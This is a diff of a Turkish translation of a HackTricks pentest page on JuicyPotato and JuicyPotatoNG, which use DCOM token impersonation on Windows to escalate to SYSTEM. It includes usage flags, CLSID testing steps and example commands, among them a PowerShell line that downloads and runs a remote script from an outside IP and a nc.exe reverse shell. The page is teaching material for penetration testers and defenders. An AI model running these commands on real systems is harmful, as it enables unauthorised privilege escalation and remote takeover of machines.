- [Advisory Netskope Client for Windows Local Privilege Escalation via Rogue Server (CVE-2025-0309)](https://blog.amberwolf.com/blog/2025/august/advisory---netskope-client-for-windows---local-privilege-escalation-via-rogue-server/)

View File

@ -2,60 +2,60 @@
{{#include ../../banners/hacktricks-training.md}}
> [!WARNING] > JuicyPotato artık eskidir. Genel olarak Windows 10 1803 / Windows Server 2016'ya kadar olan Windows sürümlerinde çalışır. Microsoft'un Windows 10 1809 / Server 2019 ve sonrasında yaptığı sertleştirmeler orijinal tekniği bozdu. Bu build'ler ve daha yenileri için PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato ve benzeri modern alternatifleri düşünün. Güncel seçenekler ve kullanım için aşağıdaki sayfaya bakın.
> [!WARNING] > JuicyPotato eski bir araçtır. Genellikle Windows 10 1803 / Windows Server 2016'ya kadar olan sürümlerde çalışır. Microsoft'un Windows 10 1809 / Server 2019 ve sonrası için getirdiği değişiklikler orijinal tekniği bozdu. Bu derlemeler ve daha yenileri için PrintSpoofer, RoguePotato, SharpEfsPotato/EfsPotato, GodPotato gibi modern alternatifleri düşünün. Güncel seçenekler ve kullanım için aşağıdaki sayfaya bakın.
{{#ref}}
roguepotato-and-printspoofer.md
{{#endref}}
## Juicy Potato (abusing the golden privileges) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
## Juicy Potato (yüksek ayrıcalıkları kötüye kullanma) <a href="#juicy-potato-abusing-the-golden-privileges" id="juicy-potato-abusing-the-golden-privileges"></a>
_A RottenPotatoNG'in biraz tatlandırılmış versiyonu_, biraz juice ile, yani **Windows Service Accounts'dan NT AUTHORITY\SYSTEM'e başka bir Local Privilege Escalation aracı**
_A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_
#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
#### juicypotato'ı şu adresten indirebilirsiniz [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts)
### Compatibility quick notes
### Uyumluluk kısa notlar
- Mevcut bağlam SeImpersonatePrivilege veya SeAssignPrimaryTokenPrivilege'e sahipse Windows 10 1803 ve Windows Server 2016'ya kadar güvenilir şekilde çalışır.
- Windows 10 1809 / Windows Server 2019 ve sonrasında Microsoft'un sertleştirmeleri nedeniyle kırıldı. Bu build'ler için yukarıda bağlantısı verilen alternatifleri tercih edin.
- Geçerli bağlamda SeImpersonatePrivilege veya SeAssignPrimaryTokenPrivilege olduğunda Windows 10 1803 ve Windows Server 2016'ya kadar güvenilir şekilde çalışır.
- Windows 10 1809 / Windows Server 2019 ve sonrası için Microsoft'un sertleştirmesi tarafından bozulmuştur. Bu sürümler için yukarıda bağlantılı alternatifleri tercih edin.
### Summary <a href="#summary" id="summary"></a>
### Özet <a href="#summary" id="summary"></a>
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:**
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) ve [varyantları](https://github.com/decoder-it/lonelypotato) `BITS` [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) üzerinde MiTM dinleyicisi olarak `127.0.0.1:6666` kullanan ayrıcalık yükseltme zincirini kullanır ve SeImpersonate veya SeAssignPrimaryToken ayrıcalıklarına sahip olduğunuzda çalışır. Bir Windows build incelemesi sırasında `BITS`'in kasıtlı olarak devre dışı bırakıldığı ve 6666 portunun kullanılmış olduğu bir kurulum bulduk.
[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) ayrıcalık yükseltme zincirini [`BITS`](<https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx>) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) üzerinde 127.0.0.1:6666 adresinde MiTM dinleyicisi olması ve sizin `SeImpersonate` veya `SeAssignPrimaryToken` ayrıcalıklarına sahip olmanız durumunda kullanır. Bir Windows derleme incelemesi sırasında `BITS` kasıtlı olarak devre dışı bırakılmış ve 6666 portu kullanımda bulunduğu bir yapılandırma bulduk.
RottenPotatoNG'yi silahlandırmaya karar verdik: **Juicy Potato'a merhaba deyin**.
RottenPotatoNG'yi silahlandırmaya karar verdik: **Say hello to Juicy Potato**.
> Teori için bkz. [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) ve bağlantı zincirini takip edin.
> For the theory, see [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) and follow the chain of links and references.
BITS dışında kötüye kullanabileceğimiz birkaç COM sunucusu olduğunu keşfettik. Bu sunucuların sadece şunlara ihtiyacı var:
BITS dışında kötüye kullanabileceğimiz birkaç COM sunucusu olduğunu keşfettik. Bunların sadece şunlara sahip olması gerekiyor:
1. mevcut kullanıcı tarafından örneklenebilir olmak; genellikle impersonation ayrıcalıklarına sahip bir "service user"
2. IMarshal arayüzünü uygulamak
1. mevcut kullanıcı tarafından örneklendirilebilmeli; genelde impersonation privileges'e sahip bir “service user”
2. `IMarshal` arabirimini uygulamak
3. yükseltilmiş bir kullanıcı olarak çalışmak (SYSTEM, Administrator, …)
Biraz test yaptıktan sonra çeşitli Windows sürümlerinde geniş ve ilginç bir [CLSID listesi](http://ohpe.it/juicy-potato/CLSID/) elde edip test ettik.
Biraz test sonrası birkaç Windows sürümünde [interesting CLSIDs](http://ohpe.it/juicy-potato/CLSID/) içeren kapsamlı bir liste elde ettik ve test ettik.
### Juicy details <a href="#juicy-details" id="juicy-details"></a>
JuicyPotato size şunları sağlar:
JuicyPotato size şunları yapma imkanı verir:
- **Target CLSID** _istediğiniz herhangi bir CLSID'i seçin._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _işletim sistemine göre düzenlenmiş listeyi bulabilirsiniz._
- **COM Listening port** _tercih ettiğiniz COM dinleme portunu tanımlayın (marshalled sabit 6666 yerine)_
- **Target CLSID** _istediğiniz herhangi bir CLSID'i seçin._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _işletim sistemine göre düzenlenmiş listeyi burada bulabilirsiniz._
- **COM Listening port** _tercih ettiğiniz COM dinleme portunu tanımlayın (marshalled hardcoded 6666 yerine)_
- **COM Listening IP address** _sunucuyu herhangi bir IP'ye bağlayın_
- **Process creation mode** _taklit edilen kullanıcının ayrıcalıklarına bağlı olarak şu seçeneklerden birini seçebilirsiniz:_
- `CreateProcessWithToken` (needs `SeImpersonate`)
- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`)
- `both`
- **Process to launch** _sömürme başarılı olursa bir executable veya script başlatın_
- **Process Argument** _başlatılan sürecin argümanlarını özelleştirin_
- **RPC Server address** _gizli bir yaklaşım için harici bir RPC sunucusuna kimlik doğrulaması yapabilirsiniz_
- **RPC Server port** _harici bir sunucuya kimlik doğrulaması yapmak istiyorsanız ve firewall `135` portunu engelliyorsa faydalıdır…_
- **TEST mode** _başlıca test amaçlı, örn. CLSID'leri test etmek için. DCOM'u oluşturur ve token kullanıcısını yazdırır. Test için bkz._ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
- `CreateProcessWithToken` (needs `SeImpersonate`)
- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`)
- `both`
- **Process to launch** _sömürme başarılı olursa bir yürütülebilir dosya veya betik başlatın_
- **Process Argument** _başlatılan prosesin argümanlarını özelleştirin_
- **RPC Server address** _gizli bir yaklaşım için harici bir RPC sunucusuna kimlik doğrulayabilirsiniz_
- **RPC Server port** _harici bir sunucuya kimlik doğrulamak istiyor ve firewall `135` portunu engelliyorsa faydalıdır…_
- **TEST mode** _çoğunlukla test amaçlı, ör. CLSID'leri test etmek için. DCOM'u oluşturur ve token sahibinin kullanıcı bilgisini yazdırır. See_ [_here for testing_](http://ohpe.it/juicy-potato/Test/)
### Usage <a href="#usage" id="usage"></a>
### Kullanım <a href="#usage" id="usage"></a>
```
T:\>JuicyPotato.exe
JuicyPotato v0.1
@ -72,30 +72,30 @@ Optional args:
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
```
### Final thoughts <a href="#final-thoughts" id="final-thoughts"></a>
### Son düşünceler <a href="#final-thoughts" id="final-thoughts"></a>
[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
[**juicy-potato Readme'den**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:**
Kullanıcının `SeImpersonate` veya `SeAssignPrimaryToken` ayrıcalıkları varsa, o zaman siz **SYSTEM**'siniz.
Kullanıcının `SeImpersonate` veya `SeAssignPrimaryToken` ayrıcalıkları varsa, o zaman **SYSTEM**'siniz.
Bu COM sunucularının tümünün kötüye kullanılmasını önlemek neredeyse imkânsız. Bu nesnelerin izinlerini `DCOMCNFG` aracılığıyla değiştirmeyi düşünebilirsiniz ama iyi şanslar, bu zor olacak.
Tüm bu COM Servers'ın suistimalini engellemek neredeyse imkansız. Bu nesnelerin izinlerini `DCOMCNFG` ile değiştirmeyi düşünebilirsiniz ama iyi şanslar, bu zor olacak.
Gerçek çözüm, `* SERVICE` hesapları altında çalışan hassas hesapları ve uygulamaları korumaktır. `DCOM`'u durdurmak bu exploit'i kesinlikle engelleyecektir ama altında yatan işletim sistemi üzerinde ciddi etkileri olabilir.
Gerçek çözüm, `* SERVICE` hesapları altında çalışan hassas hesapları ve uygulamaları korumaktır. `DCOM`'u durdurmak kesinlikle bu exploit'i engeller ama alttaki OS üzerinde ciddi etkileri olabilir.
From: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
Kaynak: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/)
## JuicyPotatoNG (2022+)
JuicyPotatoNG, modern Windows'ta JuicyPotato tarzı bir yerel ayrıcalık yükseltmesini şu öğeleri birleştirerek yeniden sunar:
- Seçilen bir portta yerel bir RPC sunucusuna DCOM OXID çözümlemesi, eski sabit kodlanmış 127.0.0.1:6666 listener'ından kaçınarak.
- Gelen SYSTEM kimlik doğrulamasını yakalayıp taklit etmek için bir SSPI hook'u; RpcImpersonateClient gerektirmeden çalışır ve bu aynı zamanda yalnızca SeAssignPrimaryTokenPrivilege mevcut olduğunda CreateProcessAsUser'i mümkün kılar.
- DCOM aktivasyon kısıtlamalarını karşılamak için hileler (ör. PrintNotify / ActiveX Installer Service sınıflarını hedef alırken önceki INTERACTIVE-group gereksinimi).
JuicyPotatoNG, modern Windows üzerinde JuicyPotato-style local privilege escalation'ı şu öğeleri birleştirerek yeniden tanıtıyor:
- DCOM OXID resolution'ı seçilen bir portta yerel bir RPC server'a yönlendirerek, eski hardcoded 127.0.0.1:6666 dinleyicisinden kaçınma.
- Giriş yapan SYSTEM kimlik doğrulamasını yakalamak ve taklit etmek için bir SSPI hook; RpcImpersonateClient gerektirmeden çalışır, bu aynı zamanda sadece SeAssignPrimaryTokenPrivilege mevcutken CreateProcessAsUser'ı mümkün kılar.
- DCOM aktivasyon kısıtlamalarını karşılamak için taktikler (ör. PrintNotify / ActiveX Installer Service sınıflarını hedeflerken önceki INTERACTIVE-group gereksinimi).
Önemli notlar (sürümler arasında değişen davranış):
- September 2022: İlk teknik, desteklenen Windows 10/11 ve Server hedeflerinde “INTERACTIVE trick” kullanarak çalıştı.
- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post.
Önemli notlar (sürümler arasında değişen davranışlar):
- Eylül 2022: İlk teknik, “INTERACTIVE trick”i kullanarak desteklenen Windows 10/11 ve Server hedeflerinde çalışıyordu.
- Ocak 2023 yazar güncellemesi: Microsoft daha sonra INTERACTIVE trick'i engelledi. Farklı bir CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) exploitation'ı geri getiriyor ancak gönderilerine göre yalnızca Windows 11 / Server 2022'de.
Basic usage (more flags in the help):
Temel kullanım (yardımda daha fazla bayrak var):
```
JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
# Useful helpers:
@ -103,11 +103,11 @@ JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
# -s Scan for a COM port not filtered by Windows Defender Firewall
# -i Interactive console (only with CreateProcessAsUser)
```
Eğer hedefiniz klasik JuicyPotato'un yamalandığı Windows 10 1809 / Server 2019 ise, üstte bağlantısı verilen alternatifleri tercih edin (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, vb.). NG, build ve servis durumuna bağlı olarak değişkenlik gösterebilir.
Eğer hedefiniz klasik JuicyPotato'nun yamalandığı Windows 10 1809 / Server 2019 ise, en üstte bağlantılı alternatifleri tercih edin (RoguePotato, PrintSpoofer, EfsPotato/GodPotato, etc.). NG, build ve servis durumuna göre durumsal olabilir.
## Örnekler
Not: Denemek için CLSID listesi için [this page](https://ohpe.it/juicy-potato/CLSID/) ziyaret edin.
Not: Denemek için CLSID listesini görmek üzere [this page](https://ohpe.it/juicy-potato/CLSID/) ziyaret edin.
### nc.exe ile reverse shell alın
```
@ -122,31 +122,31 @@ Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
c:\Users\Public>
```
### Powershell rev
### Powershell ters
```
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
```
### Yeni bir CMD başlatın (RDP erişiminiz varsa)
### Launch a new CMD (if you have RDP access)
![](<../../images/image (300).png>)
## CLSID Sorunları
## CLSID Problems
Çoğu zaman JuicyPotato'nun kullandığı varsayılan CLSID **çalışmaz** ve exploit başarısız olur. Genellikle **çalışan bir CLSID** bulmak için birkaç deneme gerekir. Belirli bir işletim sistemi için denenebilecek CLSID'lerin listesini almak için şu sayfayı ziyaret etmelisiniz:
Çoğunlukla JuicyPotato'nun kullandığı varsayılan CLSID **çalışmaz** ve exploit başarısız olur. Genellikle bir **çalışan CLSID** bulmak için birden fazla deneme gerekir. Belirli bir işletim sistemi için denenebilecek CLSID'lerin bir listesini almak için şu sayfayı ziyaret edin:
- [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/)
### **CLSID'leri Kontrol Etme**
### **Checking CLSIDs**
İlk olarak, juicypotato.exe dışında birkaç yürütülebilir dosyaya ihtiyacınız olacak.
Öncelikle juicypotato.exe dışında bazı yürütülebilir dosyalara ihtiyacınız olacak.
Join-Object.ps1'i indirin ve PS oturumunuza yükleyin, ardından GetCLSID.ps1'i indirin ve çalıştırın. Bu script test etmek üzere olası CLSID'lerin bir listesini oluşturacaktır.
Join-Object.ps1'i indirip PS oturumunuza yükleyin ve GetCLSID.ps1'i indirip çalıştırın. Bu script test edilecek olası CLSID'lerin bir listesini oluşturacaktır.
Sonra test_clsid.bat'i indirin (CLSID listesi ve juicypotato yürütülebilir dosyasının yolunu değiştirin) ve çalıştırın. Her CLSID'i denemeye başlayacak ve **port numarası değiştiğinde, CLSID'in çalıştığı anlamına gelir**.
Ardından test_clsid.bat'i indirin (CLSID listesinin ve juicypotato yürütülebilir dosyasının yolunu değiştirin) ve çalıştırın. Bu, her CLSID'yi denemeye başlayacak ve **port numarası değiştiğinde, CLSID'nin çalıştığı anlamına gelecektir**.
**-c parametresini** kullanarak çalışan CLSID'leri **kontrol edin**
**-c parametresini kullanarak** çalışan CLSID'leri **kontrol edin**
## Kaynaklar
## References
- [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md)
- [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/)